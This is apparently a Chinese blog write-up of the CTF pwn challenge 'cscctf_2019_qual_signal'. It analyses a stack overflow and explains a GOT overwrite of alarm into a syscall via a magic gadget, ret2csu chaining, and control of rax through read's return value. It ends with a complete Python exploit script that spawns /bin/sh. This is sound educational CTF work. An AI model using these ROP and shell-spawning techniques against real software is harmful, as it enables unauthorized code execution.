cscctf_2019_qual_signal

cscctf_2019_qual_signal

总结

  • 没开pie,got表可写的时候,用magic gadget会有很好的效果
  • 多次调用ret2csu的时候注意利用重叠部分缩减payload
  • 可以通过read的返回值存储在rax来通过输入控制rax

题目分析

$ checksec cscctf_2019_qual_signal 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

简单一看除了NX基本都没开

逆向分析

点进来就是一个栈溢出

image-20221224002136391

但是只有read,我们需要考虑如何利用,然后简单观察一下,发现有alarm,那么我们便可以通过alarm + 0x5来调用syscall。

image-20221224003816027

漏洞利用

梳理一下我们可以干啥

  • got表可写
  • 可以通过alarm调用syscall
  • 可以ret2csu
  • magic gadget可以使用

这时候我们会发现,可以通过改alarm的got来实现syscall,但是...rax怎么处理呢?!

答案是通过read输入字节控制rax。那么思路很明显了,如下:

  • 利用magic gadget修改alarm的got
  • ret2csu在bss写/bin/sh\x00 + 任意字符(达到59个即可),目的是rax = 59,然后ret2csu布置好rdi,rsi,rdx再调用alarm(注意第二次ret2csu与第一次有重叠的部分,我们可以利用这部分来缩减payload),此时rax为59,所以syscall调用的是sys_execve
  • getshell

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-24 00:33:54
LastEditTime: 2022-12-24 01:15:19
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

mgg = 0x0000000000400618


def write_by_magic(gg,addr,val):
    pd = flat(
        {
            0x0:[
                0x40074A,
                val,
                addr + 0x3d,
                [0]*4,
                gg
            ]
        }
    )
    return bytes(pd)



'''
====================================================
0x000000000040074c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040074e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400750 : pop r14 ; pop r15 ; ret
0x0000000000400752 : pop r15 ; ret
0x000000000040074b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040074f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x0000000000400753 : pop rdi ; ret
0x0000000000400751 : pop rsi ; pop r15 ; ret
0x000000000040074d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028a : ret
'''

bss_addr = 0x601000 + 0xf00

pd = flat(
    {
        0x108:[
            write_by_magic(mgg,elf.got.alarm,0x5),
            #ret2csu to make rax = 0x3b
            [
                0x40074A,
                0,
                1,
                elf.got.read,
                0,
                bss_addr,
                0x3c,
                0x400730,
                [0xdeadbeef],
                0,
                1,
                elf.got.alarm,
                bss_addr,
                0,
                0,
                #call execve
                0x400730
            ],
        ]
    }
)
sl(pd)
sleep(1)
pd = flat('/bin/sh\x00',length=59)
s(pd)



io.interactive()
posted @ 2022-12-24 01:21  7resp4ss  阅读(94)  评论(0编辑  收藏  举报